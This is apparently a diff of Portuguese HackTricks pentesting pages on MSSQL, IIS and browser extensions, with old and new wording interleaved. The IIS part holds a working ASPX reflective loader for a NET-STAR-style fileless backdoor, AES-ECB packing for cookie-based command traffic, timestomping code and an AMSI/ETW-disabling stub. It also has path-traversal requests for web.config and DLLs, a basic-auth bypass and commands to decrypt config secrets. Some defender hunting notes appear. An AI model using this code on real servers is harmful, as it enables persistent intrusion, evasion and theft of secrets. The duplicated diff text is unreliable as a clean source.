Provavelmente você conseguirá **escalar para Administrador** seguindo uma destas 2 páginas:
{{#ref}}
@ -575,6 +607,18 @@ Você provavelmente conseguirá **escalar para Administrador** seguindo uma dess
## Referências
- [Unit 42 Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
- [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
- [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
- [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
- [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
@ -585,7 +629,7 @@ Você provavelmente conseguirá **escalar para Administrador** seguindo uma dess
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
## Comandos Automáticos HackTricks
## HackTricks Automatic Commands
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View File

@ -2,21 +2,21 @@
{{#include ../../banners/hacktricks-training.md}}
Teste extensões de arquivos executáveis:
Extensões de arquivo executável de teste:
- asp
- aspx
- config
- php
## Divulgação de endereço IP interno
## Divulgação de Endereço IP Interno
Em qualquer servidor IIS onde você obtiver um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0 e dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:
Em qualquer servidor IIS onde você receba um 302, você pode tentar remover o cabeçalho Host e usar HTTP/1.0; dentro da resposta o cabeçalho Location pode apontar para o endereço IP interno:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Resposta divulgando o IP interno:
Resposta revelando o IP interno:
```
GET / HTTP/1.0
@ -27,11 +27,11 @@ Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Execute .config files
## Executar arquivos .config
Você pode fazer upload de arquivos .config e usá-los para executar código. Uma maneira de fazer isso é anexar o código ao final do arquivo dentro de um comentário HTML: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Você pode enviar arquivos .config e usá-los para executar código. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Mais informações e técnicas para explorar essa vulnerabilidade [aqui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
Mais informações e técnicas para explorar essa vulnerabilidade [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Discovery Bruteforce
@ -41,7 +41,7 @@ Baixe a lista que eu criei:
iisfinal.txt
{{#endfile}}
Ela foi criada mesclando os conteúdos das seguintes listas:
Foi criada mesclando o conteúdo das seguintes listas:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
@ -50,37 +50,37 @@ Ela foi criada mesclando os conteúdos das seguintes listas:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Use-a sem adicionar nenhuma extensão, os arquivos que precisam já a possuem.
Use-a sem adicionar qualquer extensão, os arquivos que precisam dela já a possuem.
## Path Traversal
### Leaking source code
Verifique a descrição completa em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
Confira o writeup completo em: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Em resumo, há vários arquivos web.config dentro das pastas da aplicação com referências a arquivos "**assemblyIdentity**" e "**namespaces**". Com essa informação, é possível saber **onde estão localizados os executáveis** e baixá-los.\
> A partir dos **Dlls baixados**, também é possível encontrar **novos namespaces** onde você deve tentar acessar e obter o arquivo web.config para encontrar novos namespaces e assemblyIdentity.\
> Além disso, os arquivos **connectionstrings.config** e **global.asax** podem conter informações interessantes.
> [!TIP]
> As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\
> From the **Dlls baixados** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\
> Also, the files **connectionstrings.config** and **global.asax** may contain interesting information.
Em **aplicações .Net MVC**, o arquivo **web.config** desempenha um papel crucial ao especificar cada arquivo binário do qual a aplicação depende através de tags XML **"assemblyIdentity"**.
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
### **Exploring Binary Files**
### **Explorando Arquivos Binários**
Um exemplo de acesso ao arquivo **web.config** é mostrado abaixo:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Esta solicitação revela várias configurações e dependências, como:
Esta requisição revela várias configurações e dependências, tais como:
- **EntityFramework** versão
- **AppSettings** para páginas da web, validação de cliente e JavaScript
- Configurações de **System.web** para autenticação e tempo de execução
- Configurações de módulos **System.webServer**
- Vínculos de assembly de **Runtime** para várias bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
- **AppSettings** para webpages, validação do cliente e JavaScript
- **System.web** configurações para autenticação e runtime
- **System.webServer** configurações de módulos
- **Runtime** vínculos de assembly para várias bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
Essas configurações indicam que certos arquivos, como **/bin/WebGrease.dll**, estão localizados na pasta /bin da aplicação.
Estas configurações indicam que certos arquivos, como **/bin/WebGrease.dll**, estão localizados dentro da pasta /bin da aplicação.
### **Arquivos do Diretório Raiz**
@ -88,25 +88,25 @@ Arquivos encontrados no diretório raiz, como **/global.asax** e **/connectionst
### **Namespaces e Web.Config**
Aplicações MVC também definem arquivos **web.config** adicionais para namespaces específicos para evitar declarações repetitivas em cada arquivo, como demonstrado com uma solicitação para baixar outro **web.config**:
Aplicações MVC também definem **arquivos web.config** adicionais para namespaces específicos para evitar declarações repetitivas em cada arquivo, como demonstrado com uma solicitação para baixar outro **web.config**:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Baixando DLLs**
A menção a um namespace personalizado sugere a presença de uma DLL chamada "**WebApplication1**" no diretório /bin. Em seguida, um pedido para baixar a **WebApplication1.dll** é mostrado:
A menção de um namespace personalizado sugere uma DLL chamada "**WebApplication1**" presente no diretório /bin. Em seguida, é mostrada uma solicitação para baixar o **WebApplication1.dll**:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Isso sugere a presença de outras DLLs essenciais, como **System.Web.Mvc.dll** e **System.Web.Optimization.dll**, no diretório /bin.
Em um cenário onde uma DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências a outras DLLs na pasta /bin. Por exemplo, uma solicitação para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outra DLL, **WebApplication1.AdditionalFeatures.dll**.
Em um cenário em que uma DLL importa um namespace chamado **WebApplication1.Areas.Minded**, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como **/area-name/Views/**, contendo configurações específicas e referências para outras DLLs na pasta /bin. Por exemplo, uma requisição para **/Minded/Views/web.config** pode revelar configurações e namespaces que indicam a presença de outra DLL, **WebApplication1.AdditionalFeatures.dll**.
### Arquivos comuns
De [aqui](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
A partir de [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
@ -183,65 +183,184 @@ C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 Erro 404
## HTTPAPI 2.0 404 Error
Se você ver um erro como o seguinte:
If you see an error like the following one:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Isso significa que o servidor **não recebeu o nome de domínio correto** dentro do cabeçalho Host.\
Para acessar a página da web, você pode dar uma olhada no **Certificado SSL** servido e talvez encontre o nome do domínio/subdomínio lá. Se não estiver lá, você pode precisar **forçar VHosts** até encontrar o correto.
Se você vir um erro como o seguinte:
## Vulnerabilidades antigas do IIS que valem a pena investigar
Significa que o servidor **não recebeu o nome de domínio correto** dentro do cabeçalho Host.\
Para acessar a página web você pode olhar o **certificado SSL** apresentado e talvez encontre o nome de domínio/subdomínio lá. Se não estiver, pode ser necessário **brute force VHosts** até encontrar o correto.
### Vulnerabilidade/Recurso do caractere til “\~” do Microsoft IIS Divulgação de Nome de Arquivo/Pasta Curto
## Decrypt encrypted configuration and ASP.NET Core Data Protection key rings
Você pode tentar **enumerar pastas e arquivos** dentro de cada pasta descoberta (mesmo que exija Autenticação Básica) usando esta **técnica**.\
A principal limitação desta técnica, se o servidor for vulnerável, é que **ela pode encontrar apenas até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão** dos arquivos.
Dois padrões comuns para proteger segredos em apps .NET hospedados no IIS são:
- ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para seções do web.config como <connectionStrings>.
- ASP.NET Core Data Protection key ring (persisted locally) usado para proteger segredos da aplicação e cookies.
Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar essa vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
Se você tiver acesso ao filesystem ou acesso interativo no servidor web, chaves co-localizadas frequentemente permitem a descriptografia.
- ASP.NET (Full Framework) descriptografar seções de configuração protegidas com aspnet_regiis:
```cmd
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
```
- ASP.NET Core procure por Data Protection key rings armazenados localmente (arquivos XML/JSON) em locais como:
- %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
- HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
- App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)
Com o key ring disponível, um operador executando com a identidade do app pode instanciar um IDataProtector com os mesmos purposes e unprotect os segredos armazenados. Misconfigurações que armazenam o key ring junto com os arquivos do app tornam a descriptografia offline trivial assim que o host é comprometido.
## IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)
O toolkit Phantom Taurus/NET-STAR demonstra um padrão maduro para fileless IIS persistence e postexploitation inteiramente dentro do w3wp.exe. As ideias centrais são amplamente reutilizáveis para tradecraft customizado e para detection/hunting.
Componentes-chave
- ASPX bootstrapper hosting an embedded payload: uma única página .aspx (por exemplo, OutlookEN.aspx) contém uma .NET DLL codificada em Base64, opcionalmente comprimida com Gzip. Ao receber uma requisição de gatilho ela decodifica, descomprime e carrega reflexivamente a DLL no AppDomain atual e invoca o ponto de entrada principal (por exemplo, ServerRun.Run()).
- Cookiescoped, encrypted C2 com empacotamento multiestágio: tarefas/resultados são encapsulados com Gzip → AESECB/PKCS7 → Base64 e movidos via requisições aparentemente legítimas com muitos cookies; operadores usavam delimitadores estáveis (por exemplo, "STAR") para chunking.
- Reflective .NET execution: aceita assemblies gerenciadas arbitrárias em Base64, carrega via Assembly.Load(byte[]) e passa argumentos do operador para troca rápida de módulos sem tocar no disco.
- Operating in precompiled ASP.NET sites: adicionar/gerenciar shells/backdoors auxiliares mesmo quando o site está precompilado (por exemplo, o dropper adiciona páginas/handlers dinâmicos ou aproveita config handlers) exposto por comandos como bypassPrecompiledApp, addshell, listshell, removeshell.
- Timestomping/metadata forgery: expõe uma ação changeLastModified e timestomp no deployment (incluindo timestamps de compilação futuros) para dificultar DFIR.
- Optional AMSI/ETW predisable for loaders: um loader de segunda etapa pode desabilitar AMSI e ETW antes de chamar Assembly.Load para reduzir a inspeção de payloads em memória.
Minimal ASPX loader pattern
```aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hardcoded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>
```
Auxiliares de Packing/crypto (Gzip + AESECB + Base64)
```csharp
using System.Security.Cryptography;
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}
static string Pack(object obj, byte[] key){
// serialize → gzip → AESECB → Base64
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}
static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}
```
Fluxo de Cookie/session e superfície de comandos
- Session bootstrap e tasking são transportados via cookies para se misturar com a atividade web normal.
- Comandos observados no mundo real incluíam: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code para execução em memória .NET.
Utilitário de Timestomping
```csharp
File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);
```
Desabilitar AMSI/ETW inline antes de Assembly.Load (variante loader)
```csharp
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
```
Veja AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
Hunting notes (defenders)
- Página ASPX única e estranha com blobs Base64/Gzip muito longos; posts com muitos cookies.
- Módulos gerenciados não suportados dentro de w3wp.exe; strings como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
- Delimitadores repetidos como "STAR" no tráfego; timestamps desalinhados ou até futuros em ASPX/assemblies.
## Vulnerabilidades antigas do IIS que valem a pena procurar
### Microsoft IIS tilde character “\~” Vulnerabilidade/Feature Short File/Folder Name Disclosure
Você pode tentar enumerar pastas e arquivos dentro de cada pasta descoberta (mesmo que exija Basic Authentication) usando esta técnica.\
A principal limitação desta técnica, se o servidor for vulnerável, é que ela só consegue encontrar até as primeiras 6 letras do nome de cada arquivo/pasta e as primeiras 3 letras da extensão dos arquivos.
Você pode usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para testar esta vulnerabilidade:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
Pesquisa original: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Você também pode usar **metasploit**: `use scanner/http/iis_shortname_scanner`
Você também pode usar metasploit: `use scanner/http/iis_shortname_scanner`
Uma boa ideia para **encontrar o nome final** dos arquivos descobertos é **perguntar a LLMs** por opções, como é feito no script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
Uma boa ideia para encontrar o nome final dos arquivos descobertos é pedir opções a LLMs, como é feito no script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
### Bypass de Autenticação Básica
### Basic Authentication bypass
**Bypass** de uma autenticação básica (**IIS 7.5**) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
Faça bypass de uma autenticação básica (IIS 7.5) tentando acessar: `/admin:$i30:$INDEX_ALLOCATION/admin.php` ou `/admin::$INDEX_ALLOCATION/admin.php`
Você pode tentar **misturar** essa **vulnerabilidade** com a última para encontrar novas **pastas** e **bypass** a autenticação.
Você pode tentar combinar esta vulnerabilidade com a anterior para encontrar novas pastas e burlar a autenticação.
## Depuração habilitada do ASP.NET Trace.AXD
## ASP.NET Trace.AXD enabled debugging
ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`.
O ASP.NET inclui um modo de depuração e seu arquivo é chamado `trace.axd`.
Ele mantém um log muito detalhado de todas as solicitações feitas a uma aplicação ao longo de um período de tempo.
Ele mantém um log muito detalhado de todas as requisições feitas a uma aplicação ao longo do tempo.
Essas informações incluem IPs de clientes remotos, IDs de sessão, todos os cookies de solicitação e resposta, caminhos físicos, informações de código-fonte e potencialmente até nomes de usuários e senhas.
Essas informações incluem IPs dos clientes remotos, session IDs, todos os cookies de requisição e resposta, caminhos físicos, informações do código-fonte e potencialmente até nomes de usuário e senhas.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
## Cookie ASPXAUTH
## ASPXAUTH Cookie
ASPXAUTH usa as seguintes informações:
- **`validationKey`** (string): chave codificada em hex para usar na validação de assinatura.
- **`decryptionMethod`** (string): (padrão “AES”).
- **`decryptionIV`** (string): vetor de inicialização codificado em hex (padrões para um vetor de zeros).
- **`decryptionKey`** (string): chave codificada em hex para usar na descriptografia.
- **`decryptionIV`** (string): vetor de inicialização codificado em hex (padrão é um vetor de zeros).
- **`decryptionKey`** (string): chave codificada em hex para usar na decriptação.
No entanto, algumas pessoas usarão os **valores padrão** desses parâmetros e usarão como **cookie o e-mail do usuário**. Portanto, se você conseguir encontrar um site usando a **mesma plataforma** que está usando o cookie ASPXAUTH e você **criar um usuário com o e-mail do usuário que deseja impersonar** no servidor sob ataque, você pode ser capaz de **usar o cookie do segundo servidor no primeiro** e impersonar o usuário.\
No entanto, algumas pessoas usarão os valores padrão desses parâmetros e usarão como cookie o email do usuário. Portanto, se você encontrar um site usando a mesma plataforma que utiliza o cookie ASPXAUTH e criar um usuário com o email da pessoa que você deseja se passar no servidor alvo, você pode conseguir us**ar o cookie do segundo servidor no primeiro** e se passar pelo usuário.\
Esse ataque funcionou neste [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## Bypass de Autenticação do IIS com senhas em cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[Relatório completo aqui](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Um bug no código **não verificou corretamente a senha fornecida pelo usuário**, então um atacante cujo **hash de senha atinge uma chave** que já está no **cache** poderá fazer login como esse usuário.
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Um bug no código não verificava corretamente a senha fornecida pelo usuário, então um atacante cujo hash de senha corresponda a uma chave já presente no cache conseguirá fazer login como esse usuário.
```python
# script for sanity check
> type test.py
@ -261,4 +380,9 @@ HTTP/1.1 401 Unauthorized
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```
## Referências
- [Unit 42 Phantom Taurus: Um novo Nexus APT chinês e a descoberta do NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
- [Contexto do AMSI/ETW bypass (HackTricks)](../../windows-hardening/av-bypass.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,41 +1,41 @@
# Metodologia de Pentesting de Extensões de Navegador
# Metodologia de Pentesting para Extensões de Navegador
{{#include ../../banners/hacktricks-training.md}}
## Informações Básicas
As extensões de navegador são escritas em JavaScript e carregadas pelo navegador em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js_htmldom.asp), mas podem interagir com os DOMs de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
Browser extensions são escritas em JavaScript e carregadas pelo browser em segundo plano. Elas têm seu [DOM](https://www.w3schools.com/js/js_htmldom.asp) mas podem interagir com os DOMs de outros sites. Isso significa que podem comprometer a confidencialidade, integridade e disponibilidade (CIA) de outros sites.
## Componentes Principais
Os layouts das extensões parecem melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em profundidade.
Layouts de extensão ficam melhores quando visualizados e consistem em três componentes. Vamos analisar cada componente em profundidade.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Scripts de Conteúdo**
### **Content Scripts**
Cada script de conteúdo tem acesso direto ao DOM de uma **única página da web** e, portanto, está exposto a **entradas potencialmente maliciosas**. No entanto, o script de conteúdo não contém permissões além da capacidade de enviar mensagens ao núcleo da extensão.
Cada content script tem acesso direto ao DOM de uma **única página web** e, portanto, fica exposto a **entrada potencialmente maliciosa**. No entanto, o content script não contém permissões além da habilidade de enviar mensagens ao extension core.
### **Núcleo da Extensão**
### **Extension Core**
O núcleo da extensão contém a maioria dos privilégios/acessos da extensão, mas o núcleo da extensão só pode interagir com o conteúdo da web via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e scripts de conteúdo. Além disso, o núcleo da extensão não tem acesso direto à máquina host.
O extension core contém a maior parte dos privilégios/acessos da extensão, mas o extension core só pode interagir com o conteúdo web via [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) e content scripts. Além disso, o extension core não tem acesso direto à máquina host.
### **Binário Nativo**
### **Native Binary**
A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da interface de programação de aplicativos padrão do Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
A extensão permite um native binary que pode **acessar a máquina host com os privilégios completos do usuário.** O native binary interage com o extension core através da Netscape Plugin Application Programming Interface padrão ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de browser.
### Limites
### Boundaries
> [!CAUTION]
> Para obter os privilégios totais do usuário, um atacante deve convencer a extensão a passar entradas maliciosas do script de conteúdo para o núcleo da extensão e do núcleo da extensão para o binário nativo.
> To obtain the user's full privileges, an attacker must convince the extension to pass malicious input from the content script to the extension's core and from the extension's core to the native binary.
Cada componente da extensão é separado dos outros por **fortes limites protetores**. Cada componente é executado em um **processo de sistema operacional separado**. Scripts de conteúdo e núcleos de extensão são executados em **processos de sandbox** indisponíveis para a maioria dos serviços do sistema operacional.
Cada componente da extensão é separado dos outros por **fortes boundaries de proteção**. Cada componente roda em um **processo separado do sistema operacional**. Content scripts e extension cores rodam em **sandbox processes** indisponíveis para a maioria dos serviços do sistema operacional.
Além disso, os scripts de conteúdo são separados de suas páginas da web associadas por **executarem em um heap JavaScript separado**. O script de conteúdo e a página da web têm **acesso ao mesmo DOM subjacente**, mas os dois **nunca trocam ponteiros JavaScript**, prevenindo o vazamento de funcionalidade JavaScript.
Além disso, content scripts se separam das páginas web associadas por **rodarem em um JavaScript heap separado**. O content script e a página web têm acesso ao mesmo DOM subjacente, mas os dois **nunca trocam JavaScript pointers**, prevenindo o leak de funcionalidade JavaScript.
## **`manifest.json`**
Uma extensão do Chrome é apenas uma pasta ZIP com uma [.crx file extension](https://www.lifewire.com/crx-file-2620391). O núcleo da extensão é o **`manifest.json`** localizado na raiz da pasta, que especifica layout, permissões e outras opções de configuração.
Uma Chrome extension é basicamente uma pasta ZIP com uma [.crx file extension](https://www.lifewire.com/crx-file-2620391). O núcleo da extensão é o arquivo **`manifest.json`** na raiz da pasta, que especifica o layout, permissões e outras opções de configuração.
Exemplo:
```json
@ -61,7 +61,7 @@ Exemplo:
```
### `content_scripts`
Os scripts de conteúdo são **carregados** sempre que o usuário **navega para uma página correspondente**, neste caso, qualquer página que corresponda à expressão **`https://example.com/*`** e não corresponda à regex **`*://*/*/business*`**. Eles são executados **como os próprios scripts da página** e têm acesso arbitrário ao [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) da página.
Content scripts são **carregados** sempre que o usuário **navega para uma página correspondente**, no nosso caso qualquer página que corresponda à expressão **`https://example.com/*`** e que não corresponda ao regex **`*://*/*/business*`**. Eles executam **como os próprios scripts da página** e têm acesso arbitrário ao [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
